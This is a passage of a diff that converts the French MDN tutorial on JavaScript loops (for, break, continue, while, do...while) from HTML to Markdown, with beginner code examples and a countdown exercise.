vrai exemple, afin de visualiser leurs actions plus clairement.</p> +Regardons maintenant un vrai exemple, afin de visualiser leurs actions plus clairement. -<pre class="brush: js">const chats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin']; +```js +const chats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin']; let info = "Mes chat s'appellent "; const paragraphe = document.querySelector('p'); -for (let i = 0; i < chats.length; i++) { +for (let i = 0; i < chats.length; i++) { info += chats[i] + ', '; } -paragraphe.textContent = info;</pre> +paragraphe.textContent = info; +``` -<h3>Sortie</h3> +### Sortie -<p>Cela nous donne la sortie suivante :</p> +Cela nous donne la sortie suivante : -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Exemple de boucles</title> - </head> - <body> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Exemple de boucles</title> + </head> + <body> - <p></p> + <p></p> - <script> + <script> const chats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin']; let info = "Mes chats s'appellent "; const paragraphe = document.querySelector('p'); - for (let i = 0; i < chats.length; i++) { + for (let i = 0; i < chats.length; i++) { info += chats[i] + ', '; } paragraphe.textContent = info; - </script> + </script> - </body> -</html></pre> + </body> +</html> +``` -<p>{{ EmbedLiveSample('Sortie', '100%', 60) }}</p> +{{ EmbedLiveSample('Sortie', '100%', 60) }} -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver aussi cet <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">exemple de code sur GitHub</a> (et<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html"> le voir tourner en live</a>).</p> -</div> +> **Note :** Vous pouvez trouver aussi cet [exemple de code sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html) (et[ le voir tourner en live](http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html)). -<p>Cela montre une boucle utiliser pour itérer sur les éléments d'un tableau et faire quelque chose avec chacun d'eux — un schéma très commun en JavaScript. Ici :</p> - -<ol> - <li>L'itérateur, <code>i</code>, commence à <code>0</code> (<code>let i = 0</code>).</li> - <li>On lui a demandé de s'exécuter jusqu'à ce que sa valeur ne soit plus inférieure à la longueur du tableau chats. C'est important — la condition de sortie montre la condition à laquelle la boucle continue de s'exécuter. C'est à dire dans ce cas, tant que <code>i < chats.length</code> est vrai, la boucle continuera à s'exécuter.</li> - <li>Au sein de la boucle, on concatène les élèments présents dans cette boucle (<code>cats[i]</code> est <code>cats[quelque soit la valeur de i lors de l'iteration]</code>) avec une virgule et un espace, à la fin de la variable <code>info</code>. Donc : - <ol> - <li>Pendant le premier lancement, <code>i = 0</code>, donc <code>cats[0] + ', '</code> sera concaténé à ("Bill, ")</li> - <li>Au second lancement, <code>i = 1</code>, donc <code>cats[1] + ', '</code> et sera concaténé à ("Jeff, ")</li> - <li>Et ainsi de suite. Aprés chaque tour de boucle, 1 est ajouté à <code>i</code> (<code>i++</code>), et alors le processus recommence encore.</li> - </ol> - </li> - <li>Quand <code>i</code> devient égal à <code>cats.length</code>, la boucle s'arrête, et le navigateur va bouger au prochain bout de code aprés la boucle.</li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Nous avons fait sortir la condition <code>i < cats.length</code>, et pas <code>i <= cats.length</code>, parce que les ordinateurs comptent à partir de 0, pas 1 — nous avons démarré <code>i</code> à <code>0</code>, et allons allers jusqu'à <code>i = 4</code> (l'index du dernier item de la table/tableau). <code>cats.length</code> retourne 5, comme il y a 5 items dans la table, nous n'allont pas aller à <code>i = 5</code>, cela retournerai <code>undefined</code> pour le dernier item (il n'y a pas de item de table avec un index de 5). Par conséquent, nous voulons aller de 1 à moins que <code>cats.length</code> (<code>i <</code>), ce n'est pas la même chose que <code>cats.length</code> (<code>i <=</code>).</p> -</div> +Cela montre une boucle utiliser pour itérer sur les éléments d'un tableau et faire quelque chose avec chacun d'eux — un schéma très commun en JavaScript. Ici : -<div class="note"> -<p><strong>Note :</strong> Une erreur commune avec les conditions de sortie est de les faire utiliser "égal à" plutôt que de dire "inférieur ou égal à". Si nous voulions faire tourner notre boucle jusqu'à i = 5, la condition de sortie aurait besoin d'être i <= cats.length / Si nous la mettons à i = cats.length, la boucle ne fonctionnerait pas du tout parce que i n'est pas égal à 5 sur la première itération de la boucle, de sorte que cela s'arrête immédiatement.</p> -</div> +1. L'itérateur, `i`, commence à `0` (`let i = 0`). +2. On lui a demandé de s'exécuter jusqu'à ce que sa valeur ne soit plus inférieure à la longueur du tableau chats. C'est important — la condition de sortie montre la condition à laquelle la boucle continue de s'exécuter. C'est à dire dans ce cas, tant que `i < chats.length` est vrai, la boucle continuera à s'exécuter. +3. Au sein de la boucle, on concatène les élèments présents dans cette boucle (`cats[i]` est `cats[quelque soit la valeur de i lors de l'iteration]`) avec une virgule et un espace, à la fin de la variable `info`. Donc : + + 1. Pendant le premier lancement, `i = 0`, donc `cats[0] + ', '` sera concaténé à ("Bill, ") + 2. Au second lancement, `i = 1`, donc `cats[1] + ', '` et sera concaténé à ("Jeff, ") + 3. Et ainsi de suite. Aprés chaque tour de boucle, 1 est ajouté à `i` (`i++`), et alors le processus recommence encore. + +4. Quand `i` devient égal à `cats.length`, la boucle s'arrête, et le navigateur va bouger au prochain bout de code aprés la boucle. -<p>Un petit problème est que nous avons laissé la phrase de sortie mal formée :</p> +> **Note :** Nous avons fait sortir la condition `i < cats.length`, et pas `i <= cats.length`, parce que les ordinateurs comptent à partir de 0, pas 1 — nous avons démarré `i` à `0`, et allons allers jusqu'à `i = 4` (l'index du dernier item de la table/tableau). `cats.length` retourne 5, comme il y a 5 items dans la table, nous n'allont pas aller à `i = 5`, cela retournerai `undefined` pour le dernier item (il n'y a pas de item de table avec un index de 5). Par conséquent, nous voulons aller de 1 à moins que `cats.length` (`i <`), ce n'est pas la même chose que `cats.length` (`i <=`). -<blockquote> -<p>Mes chats s'appellent Bill, Jeff, Pete, Biggles, Jasmin,</p> -</blockquote> +> **Note :** Une erreur commune avec les conditions de sortie est de les faire utiliser "égal à" plutôt que de dire "inférieur ou égal à". Si nous voulions faire tourner notre boucle jusqu'à i = 5, la condition de sortie aurait besoin d'être i <= cats.length / Si nous la mettons à i = cats.length, la boucle ne fonctionnerait pas du tout parce que i n'est pas égal à 5 sur la première itération de la boucle, de sorte que cela s'arrête immédiatement. -<p>Idéalement, nous voulons changer la concaténation sur l'itération de la boucle finale de sorte que nous n'ayons pas de virgule à la fin de la phrase. Bien, pas de problème – nous pouvons heureusement insérer une structure conditionnelle dans notre boucle for pour gérer ce cas particulier :</p> +Un petit problème est que nous avons laissé la phrase de sortie mal formée : -<pre class="brush: js">for (let i = 0; i < cats.length; i++) { +> Mes chats s'appellent Bill, Jeff, Pete, Biggles, Jasmin, + +Idéalement, nous voulons changer la concaténation sur l'itération de la boucle finale de sorte que nous n'ayons pas de virgule à la fin de la phrase. Bien, pas de problème – nous pouvons heureusement insérer une structure conditionnelle dans notre boucle for pour gérer ce cas particulier : + +```js +for (let i = 0; i < cats.length; i++) { if (i === cats.length - 1) { info += 'and ' + cats[i] + '.'; } else { info += cats[i] + ', '; } -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver cet exemple de code sur <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html">GitHub</a> (et aussi le <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html">voir en ligne</a>).</p> -</div> +> **Note :** Vous pouvez trouver cet exemple de code sur [GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html) (et aussi le [voir en ligne](http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html)). -<div class="warning"> -<p><strong>Attention :</strong> Avec for — comme avec toutes les boucles — vous devez vous assurer que l'initialiseur est itéré de sorte qu'il finisse par atteindre la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une <strong>boucle infinie.</strong></p> -</div> +> **Attention :** Avec for — comme avec toutes les boucles — vous devez vous assurer que l'initialiseur est itéré de sorte qu'il finisse par atteindre la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une **boucle infinie.** -<h2 id="Quitter_une_boucle_avec_break">Quitter une boucle avec break</h2> +## Quitter une boucle avec break -<p>Si vous voulez quitter une boucle avant que toutes les itérations aient été terminées, vous pouvez utiliser l'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/break">break</a>. Nous l'avons déjà rencontré dans l'article précédent lorsque nous examinions les <a href="/fr/Apprendre/JavaScript/Building_blocks/conditionals#Instruction_switch">instructions switch </a>: lorsqu'un argument est rencontré dans une instruction switch qui correspond à l'expression d'entrée, l'instruction break quitte immédiatement l'instruction switch et passe au code après elle.</p> +Si vous voulez quitter une boucle avant que toutes les itérations aient été terminées, vous pouvez utiliser l'instruction [break](/fr/docs/Web/JavaScript/Reference/Instructions/break). Nous l'avons déjà rencontré dans l'article précédent lorsque nous examinions les [instructions switch ](/fr/Apprendre/JavaScript/Building_blocks/conditionals#Instruction_switch): lorsqu'un argument est rencontré dans une instruction switch qui correspond à l'expression d'entrée, l'instruction break quitte immédiatement l'instruction switch et passe au code après elle. -<p>C'est la même chose avec les boucles – un <code>break</code> quittera immédiatement la boucle et fera passer le navigateur sur n'importe quel code qui le suit.</p> +C'est la même chose avec les boucles – un `break` quittera immédiatement la boucle et fera passer le navigateur sur n'importe quel code qui le suit. -<p>Supposons que nous voulions effectuer une recherche parmi une liste de contacts et de numéros de téléphone et que nous ne renvoyions que le nombre que nous voulions trouver. Tout d'abord, du HTML simple - un texte {{htmlelement ("input")}} nous permettant d'entrer un nom à rechercher, un élément {{htmlelement ("button")}} pour soumettre une recherche, et un {{htmlelement ("p")}} élément pour afficher les résultats dans :</p> +Supposons que nous voulions effectuer une recherche parmi une liste de contacts et de numéros de téléphone et que nous ne renvoyions que le nombre que nous voulions trouver. Tout d'abord, du HTML simple - un texte {{htmlelement ("input")}} nous permettant d'entrer un nom à rechercher, un élément {{htmlelement ("button")}} pour soumettre une recherche, et un {{htmlelement ("p")}} élément pour afficher les résultats dans : -<pre class="brush: html"><label for="search">Search by contact name: </label> -<input id="search" type="text"> -<button>Search</button> +```html +<label for="search">Search by contact name: </label> +<input id="search" type="text"> +<button>Search</button> -<p></p></pre> +<p></p> +``` -<p>Maintenant sur le JavaScript :</p> +Maintenant sur le JavaScript : -<pre class="brush: js">const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975']; +```js +const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975']; const paragraphe = document.querySelector('p'); const input = document.querySelector('input'); const bouton = document.querySelector('button'); @@ -309,7 +306,7 @@ bouton.addEventListener('click', function() { let searchName = input.value; input.value = ''; input.focus(); - for (let i = 0; i < contacts.length; i++) { + for (let i = 0; i < contacts.length; i++) { let splitContact = contacts[i].split(':'); if (splitContact[0] === searchName) { paragraphe.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.'; @@ -318,25 +315,27 @@ bouton.addEventListener('click', function() { paragraphe.textContent = 'Contact not found.'; } } -});</pre> +}); +``` -<h3>Résultat</h3> +### Résultat -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Simple contact search example</title> - </head> - <body> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Simple contact search example</title> + </head> + <body> - <label for="search">Search by contact name: </label> - <input id="search" type="text"> - <button>Search</button> + <label for="search">Search by contact name: </label> + <input id="search" type="text"> + <button>Search</button> - <p></p> + <p></p> - <script> + <script> const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975']; const paragraphe = document.querySelector('p'); const input = document.querySelector('input'); @@ -346,7 +345,7 @@ bouton.addEventListener('click', function() { let searchName = input.value; input.value = ''; input.focus(); - for (let i = 0; i < contacts.length; i++) { + for (let i = 0; i < contacts.length; i++) { let splitContact = contacts[i].split(':'); if (splitContact[0] === searchName) { paragraphe.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.'; @@ -356,64 +355,64 @@ bouton.addEventListener('click', function() { } } }); - </script> - - </body> -</html></pre> -<p>{{ EmbedLiveSample('Résultat', '100%', 100) }}</p> - -<ol> - <li>Tout d'abord, nous avons quelques définitions de variables — nous avons un tableau d'informations de contact, avec chaque élément étant une chaîne contenant un nom et un numéro de téléphone séparés par deux points.</li> - <li>Ensuite, nous attachons un écouteur d'événement au bouton (<code>bouton</code>), de sorte que quand il est pressé, du code est exécuté pour effectuer la recherche et renvoyer les résultats.</li> - <li>Nous stockons la valeur saisie dans l'input dans une variable appelée <code>searchName</code>, , avant de vider l'input et le recentrer, prêt pour la recherche suivante.</li> - <li>Maintenant sur la partie intéressante, la boucle for : - <ol> - <li>Nous commençons le compteur à <code>0</code>, exécutons la boucle jusqu'à ce que le compteur ne soit plus inférieur à <code>contacts.length</code>, et incrémentons <code>i</code> par 1 après chaque itération de la boucle.</li> - <li>À l'intérieur de la boucle, nous divisons d'abord le contact actuel (<code>contacts[i]</code>) au caractère deux-points et stockons les deux valeurs résultantes dans un tableau appelé <code>splitContact</code>.</li> - <li>Nous utilisons ensuite une instruction conditionnelle pour tester si <code>splitContact[0] </code>(le nom du contact) est égal au <code>searchName</code> entré. Si c'est le cas, nous introduisons une <code>string / chaîne de caractère</code><strong> </strong>dans le paragraphe pour indiquer quel est le numéro du contact et utiliser <code>break</code> pour terminer la boucle.</li> - </ol> - </li> - <li>Si le nom du contact ne correspond pas à la recherche entrée, le texte du paragraphe est défini sur "Contact not found." et la boucle continue son itération.</li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver cet exemple de code sur <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/contact-search.html">GitHub</a> (aussi <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/contact-search.html">voir en ligne</a>).</p> -</div> + </script> -<h2 id="Passer_des_itérations_avec_continue">Passer des itérations avec continue</h2> + </body> +</html> +``` -<p>L'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/continue">continue</a> fonctionne d'une manière similaire à <code>break</code>, mais au lieu de sortir complètement de la boucle, elle passe à l'itération suivante de la boucle. Regardons un autre exemple qui prend un nombre comme une entrée, et retourne seulement les nombres qui sont des carrés d'entiers (nombres entiers).</p> +{{ EmbedLiveSample('Résultat', '100%', 100) }} -<p>Le HTML est fondamentalement le même que le dernier exemple — une entrée de texte simple, et un paragraphe pour la sortie. Le JavaScript est la plupart du temps identique, même si la boucle elle-même est un peu différente :</p> +1. Tout d'abord, nous avons quelques définitions de variables — nous avons un tableau d'informations de contact, avec chaque élément étant une chaîne contenant un nom et un numéro de téléphone séparés par deux points. +2. Ensuite, nous attachons un écouteur d'événement au bouton (`bouton`), de sorte que quand il est pressé, du code est exécuté pour effectuer la recherche et renvoyer les résultats. +3. Nous stockons la valeur saisie dans l'input dans une variable appelée `searchName`, , avant de vider l'input et le recentrer, prêt pour la recherche suivante. +4. Maintenant sur la partie intéressante, la boucle for : -<pre class="brush: js">let num = input.value; + 1. Nous commençons le compteur à `0`, exécutons la boucle jusqu'à ce que le compteur ne soit plus inférieur à `contacts.length`, et incrémentons `i` par 1 après chaque itération de la boucle. + 2. À l'intérieur de la boucle, nous divisons d'abord le contact actuel (`contacts[i]`) au caractère deux-points et stockons les deux valeurs résultantes dans un tableau appelé `splitContact`. + 3. Nous utilisons ensuite une instruction conditionnelle pour tester si `splitContact[0] `(le nom du contact) est égal au `searchName` entré. Si c'est le cas, nous introduisons une `string / chaîne de caractère`\*\* \*\*dans le paragraphe pour indiquer quel est le numéro du contact et utiliser `break` pour terminer la boucle. -for (let i = 1; i <= num; i++) { +5. Si le nom du contact ne correspond pas à la recherche entrée, le texte du paragraphe est défini sur "Contact not found." et la boucle continue son itération. + +> **Note :** Vous pouvez trouver cet exemple de code sur [GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/contact-search.html) (aussi [voir en ligne](http://mdn.github.io/learning-area/javascript/building-blocks/loops/contact-search.html)). + +## Passer des itérations avec continue + +L'instruction [continue](/fr/docs/Web/JavaScript/Reference/Instructions/continue) fonctionne d'une manière similaire à `break`, mais au lieu de sortir complètement de la boucle, elle passe à l'itération suivante de la boucle. Regardons un autre exemple qui prend un nombre comme une entrée, et retourne seulement les nombres qui sont des carrés d'entiers (nombres entiers). + +Le HTML est fondamentalement le même que le dernier exemple — une entrée de texte simple, et un paragraphe pour la sortie. Le JavaScript est la plupart du temps identique, même si la boucle elle-même est un peu différente : + +```js +let num = input.value; + +for (let i = 1; i <= num; i++) { let sqRoot = Math.sqrt(i); if (Math.floor(sqRoot) !== sqRoot) { continue; } paragraphe.textContent += i + ' '; -}</pre> +} +``` -<p>Ici la sortie :</p> +Ici la sortie : -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Integer squares generator</title> - </head> - <body> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Integer squares generator</title> + </head> + <body> - <label for="number">Enter number: </label> - <input id="number" type="text"> - <button>Generate integer squares</button> + <label for="number">Enter number: </label> + <input id="number" type="text"> + <button>Generate integer squares</button> - <p>Output: </p> + <p>Output: </p> - <script> + <script> const paragraphe = document.querySelector('p'); const input = document.querySelector('input'); const bouton = document.querySelector('button'); @@ -423,7 +422,7 @@ for (let i = 1; i <= num; i++) { let num = input.value; input.value = ''; input.focus(); - for (let i = 1; i <= num; i++) { + for (let i = 1; i <= num; i++) { let sqRoot = Math.sqrt(i); if (Math.floor(sqRoot) !== sqRoot) { continue; @@ -432,46 +431,44 @@ for (let i = 1; i <= num; i++) { paragraphe.textContent += i + ' '; } }); - </script> + </script> - </body> -</html></pre> + </body> +</html> +``` -<p>{{ EmbedLiveSample('Passer_des_itérations_avec_continue', '100%', 100) }}</p> +{{ EmbedLiveSample('Passer_des_itérations_avec_continue', '100%', 100) }} -<ol> - <li>Dans ce cas, l'entrée doit être un nombre (<code>num</code>). La boucle <code>for</code> est dotée d'un compteur commençant à 1 (car nous ne sommes pas intéressés par 0 dans ce cas), une condition de sortie indiquant que la boucle s'arrêtera lorsque le compteur deviendra plus grand que l'entrée <code>num</code>, et un itérateur ajoutera 1 au compteur à chaque fois.</li> - <li>À l'intérieur de la boucle, nous trouvons la racine carrée de chaque nombre en utilisant <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i), </a><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/sqrt">, </a>puis vérifions si la racine carrée est un entier en vérifiant si elle est identique à elle-même lorsqu'elle a été arrondie à l'entier le plus proche (ceci est ce que <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/floor">Math.floor() </a>fait au nombre auquel il est passé).</li> - <li>Si la racine carrée et la racine carrée arrondie ne sont pas égales les unes aux autres (<code>! ==</code>), cela signifie que la racine carrée n'est pas un entier, donc cela ne nous intéresse pas. Dans un tel cas, nous utilisons l'instruction <code>continue</code> pour passer à l'itération de la boucle suivante sans enregistrer le numéro n'importe où.</li> - <li>Si la racine carrée est un entier, nous passons complètement le bloc if pour que l'instruction <code>continue</code> ne soit pas exécutée; à la place, nous concaténons la valeur <code>i </code>actuelle plus un espace sur la fin du contenu du paragraphe.</li> -</ol> +1. Dans ce cas, l'entrée doit être un nombre (`num`). La boucle `for` est dotée d'un compteur commençant à 1 (car nous ne sommes pas intéressés par 0 dans ce cas), une condition de sortie indiquant que la boucle s'arrêtera lorsque le compteur deviendra plus grand que l'entrée `num`, et un itérateur ajoutera 1 au compteur à chaque fois. +2. À l'intérieur de la boucle, nous trouvons la racine carrée de chaque nombre en utilisant [Math.sqrt(i), ](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)[, ](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/sqrt)puis vérifions si la racine carrée est un entier en vérifiant si elle est identique à elle-même lorsqu'elle a été arrondie à l'entier le plus proche (ceci est ce que [Math.floor() ](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/floor)fait au nombre auquel il est passé). +3. Si la racine carrée et la racine carrée arrondie ne sont pas égales les unes aux autres (`! ==`), cela signifie que la racine carrée n'est pas un entier, donc cela ne nous intéresse pas. Dans un tel cas, nous utilisons l'instruction `continue` pour passer à l'itération de la boucle suivante sans enregistrer le numéro n'importe où. +4. Si la racine carrée est un entier, nous passons complètement le bloc if pour que l'instruction `continue` ne soit pas exécutée; à la place, nous concaténons la valeur `i `actuelle plus un espace sur la fin du contenu du paragraphe. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver cet exemple de code sur <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/integer-squares.html">GitHub</a> (aussi <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/integer-squares.html">voir en ligne</a>).</p> -</div> +> **Note :** Vous pouvez trouver cet exemple de code sur [GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/integer-squares.html) (aussi [voir en ligne](http://mdn.github.io/learning-area/javascript/building-blocks/loops/integer-squares.html)). -<h2 id="while_et_do_..._while">while et do ... while</h2> +## while et do ... while -<p><code>for</code> n'est pas le seul type de boucle disponible en JavaScript. Il y en a beaucoup d'autres et, même si vous n'avez pas besoin de comprendre tout cela maintenant, il vaut mieux jeter un coup d'œil à la structure de quelques autres pour pouvoir reconnaître les mêmes caractéristiques au travail d'une manière légèrement différente.</p> +`for` n'est pas le seul type de boucle disponible en JavaScript. Il y en a beaucoup d'autres et, même si vous n'avez pas besoin de comprendre tout cela maintenant, il vaut mieux jeter un coup d'œil à la structure de quelques autres pour pouvoir reconnaître les mêmes caractéristiques au travail d'une manière légèrement différente. -<p>D'abord, regardons la boucle <a href="/fr/docs/Web/JavaScript/Reference/Instructions/while">while</a>. La syntaxe de cette boucle ressemble à ceci:</p> +D'abord, regardons la boucle [while](/fr/docs/Web/JavaScript/Reference/Instructions/while). La syntaxe de cette boucle ressemble à ceci: -<pre>initializer -while (exit-condition) { - // code to run + initializer + while (exit-condition) { + // code to run - final-expression -}</pre> + final-expression + } -<p>Cela fonctionne de manière très similaire à la boucle for, sauf que la variable de départ est définie avant la boucle, et l'expression finale est incluse dans la boucle après le code à exécuter — plutôt que ces deux éléments soient inclus dans les parenthèses. La condition de sortie est incluse dans les parenthèses, précédées du mot-clé <code>while </code>au lieu de <code>for</code>.</p> +Cela fonctionne de manière très similaire à la boucle for, sauf que la variable de départ est définie avant la boucle, et l'expression finale est incluse dans la boucle après le code à exécuter — plutôt que ces deux éléments soient inclus dans les parenthèses. La condition de sortie est incluse dans les parenthèses, précédées du mot-clé `while `au lieu de `for`. -<p>Les mêmes trois éléments sont toujours présents, et ils sont toujours définis dans le même ordre que dans la boucle for - cela est logique, car vous devez toujours définir un initialiseur avant de pouvoir vérifier s'il a atteint la condition de sortie ; la condition finale est ensuite exécutée après l'exécution du code à l'intérieur de la boucle (une itération a été effectuée), ce qui ne se produira que si la condition de sortie n'a pas encore été atteinte.</p> +Les mêmes trois éléments sont toujours présents, et ils sont toujours définis dans le même ordre que dans la boucle for - cela est logique, car vous devez toujours définir un initialiseur avant de pouvoir vérifier s'il a atteint la condition de sortie ; la condition finale est ensuite exécutée après l'exécution du code à l'intérieur de la boucle (une itération a été effectuée), ce qui ne se produira que si la condition de sortie n'a pas encore été atteinte. -<p>Jetons un coup d'oeil à notre exemple de liste de chats, mais réécrit pour utiliser une boucle while:</p> +Jetons un coup d'oeil à notre exemple de liste de chats, mais réécrit pour utiliser une boucle while: -<pre class="brush: js">let i = 0; +```js +let i = 0; -while (i < cats.length) { +while (i < cats.length) { if (i === cats.length - 1) { info += 'and ' + cats[i] + '.'; } else { @@ -479,28 +476,28 @@ while (i < cats.length) { } i++; -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Cela fonctionne toujours comme prévu regardez le ici <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">GitHub</a> (<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/while.html">Voir en ligne</a> le code complet).</p> -</div> +> **Note :** Cela fonctionne toujours comme prévu regardez le ici [GitHub](http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html) ([Voir en ligne](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/while.html) le code complet). -<p>La boucle<a href="/fr/docs/Web/JavaScript/Reference/Instructions/do...while"> do...while</a> est très similaire, mais dénote une variation par rapport à la structure de la boucle while :</p> +La boucle[ do...while](/fr/docs/Web/JavaScript/Reference/Instructions/do...while) est très similaire, mais dénote une variation par rapport à la structure de la boucle while : -<pre>initializer -do { - // code to run + initializer + do { + // code to run - final-expression -} while (exit-condition)</pre> + final-expression + } while (exit-condition) -<p>Dans ce cas, l'initialiseur vient en premier, avant que la boucle ne commence. Le mot-clé <code>do </code>précède directement les accolades contenant le code à exécuter et l'expression finale.</p> +Dans ce cas, l'initialiseur vient en premier, avant que la boucle ne commence. Le mot-clé `do `précède directement les accolades contenant le code à exécuter et l'expression finale. -<p>Le différentiateur ici est que la condition de sortie vient après tout, enveloppée entre parenthèses et précédée d'un mot-clé <code>while</code>. Dans une boucle <code>do ... while</code>, le code à l'intérieur des accolades est toujours exécuté une fois avant que la vérification ne soit effectuée pour voir si elle doit être exécutée à nouveau (dans while et for, la vérification arrive en premier, donc le code pourrait ne jamais être exécuté ).</p> +Le différentiateur ici est que la condition de sortie vient après tout, enveloppée entre parenthèses et précédée d'un mot-clé `while`. Dans une boucle `do ... while`, le code à l'intérieur des accolades est toujours exécuté une fois avant que la vérification ne soit effectuée pour voir si elle doit être exécutée à nouveau (dans while et for, la vérification arrive en premier, donc le code pourrait ne jamais être exécuté ). -<p>Réécrivons notre exemple de listing de chat pour utiliser une boucle <code>do ... while </code>:</p> +Réécrivons notre exemple de listing de chat pour utiliser une boucle `do ... while `: -<pre class="brush: js">let i = 0; +```js +let i = 0; do { if (i === cats.length - 1) { @@ -510,48 +507,42 @@ do { } i++; -} while (i < cats.length);</pre> +} while (i < cats.length); +``` -<div class="note"> -<p><strong>Note :</strong> Encore, cela fonctionne toujours comme prévu — regardez le ici <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html">GitHub</a> (<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html">Voir en ligne</a> le code complet).</p> -</div> +> **Note :** Encore, cela fonctionne toujours comme prévu — regardez le ici [GitHub](http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html) ([Voir en ligne](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html) le code complet). -<div class="warning"> -<p><strong>Attention :</strong> Avec while et do ... while – comme avec toutes les boucles – vous devez vous assurer que l'initialiseur est itéré pour qu'il atteigne finalement la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une <strong>boucle infinie.</strong></p> -</div> +> **Attention :** Avec while et do ... while – comme avec toutes les boucles – vous devez vous assurer que l'initialiseur est itéré pour qu'il atteigne finalement la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une **boucle infinie.** + +## Apprentissage actif : Lancer le compte à rebours + +Dans cet exercice, nous vous proposons d'écrire un compte à rebours de lancement dans la boîte de sortie, de 10 jusqu'à "Blast Off." Plus précisément, il s'agit de : + +- Créer une boucle de 10 jusqu'à 0. Nous vous avons fourni un initialiseur — `let i = 10;` +- Pour chaque itération, créer un nouveau paragraphe à ajouter dans la balise de sortie `<div>` que nous avons selectionnée en utilisant : `const output = document.querySelector('.output');` En commentaire, nous vous avons fourni trois lignes de code qui doivent être utilisées quelque part à l'intérieur de la boucle : + + - `const paragraphe = document.createElement('p');` — crée un nouveau paragraphe. + - `output.appendChild(para);` — ajoute le paragraphe à la sortie `<div>`. + - `paragraphe.textContent =` — Rend le texte à l'intérieur du paragraphe identique à ce que vous avez entré du côté droit du signe égal. + +- Chaque nombre de l'itération nécessite un texte différent dans le paragraphe de cette itération (vous aurez besoin d'une expression conditionnelle et plusieurs lignes du type : `paragraphe.textContent = )` + + - Si le nombre est 10, écrire "Countdown 10" dans le paragraphe. + - Si le nombre est 0, écrire "Blast off!" dans le paragraphe. + - Pour tout autre nombre, écrire simplement le nombre dans le paragraphe. + +- Noubliez pas d'inclure un itérateur ! Quoi qu'il en soit, dans cet exemple nous comptons à rebours après chaque itération, pas de manière croissante, alors vous ne voudrez pas `i++` — Comment allez vous créer l'itération décroissante ? -<h2 id="Apprentissage_actif_Lancer_le_compte_à_rebours">Apprentissage actif : Lancer le compte à rebours</h2> - -<p>Dans cet exercice, nous vous proposons d'écrire un compte à rebours de lancement dans la boîte de sortie, de 10 jusqu'à "Blast Off." Plus précisément, il s'agit de :</p> - -<ul> - <li>Créer une boucle de 10 jusqu'à 0. Nous vous avons fourni un initialiseur — <code>let i = 10; </code></li> - <li>Pour chaque itération, créer un nouveau paragraphe à ajouter dans la balise de sortie <code><div></code> que nous avons selectionnée en utilisant : <code>const output = document.querySelector('.output');</code> En commentaire, nous vous avons fourni trois lignes de code qui doivent être utilisées quelque part à 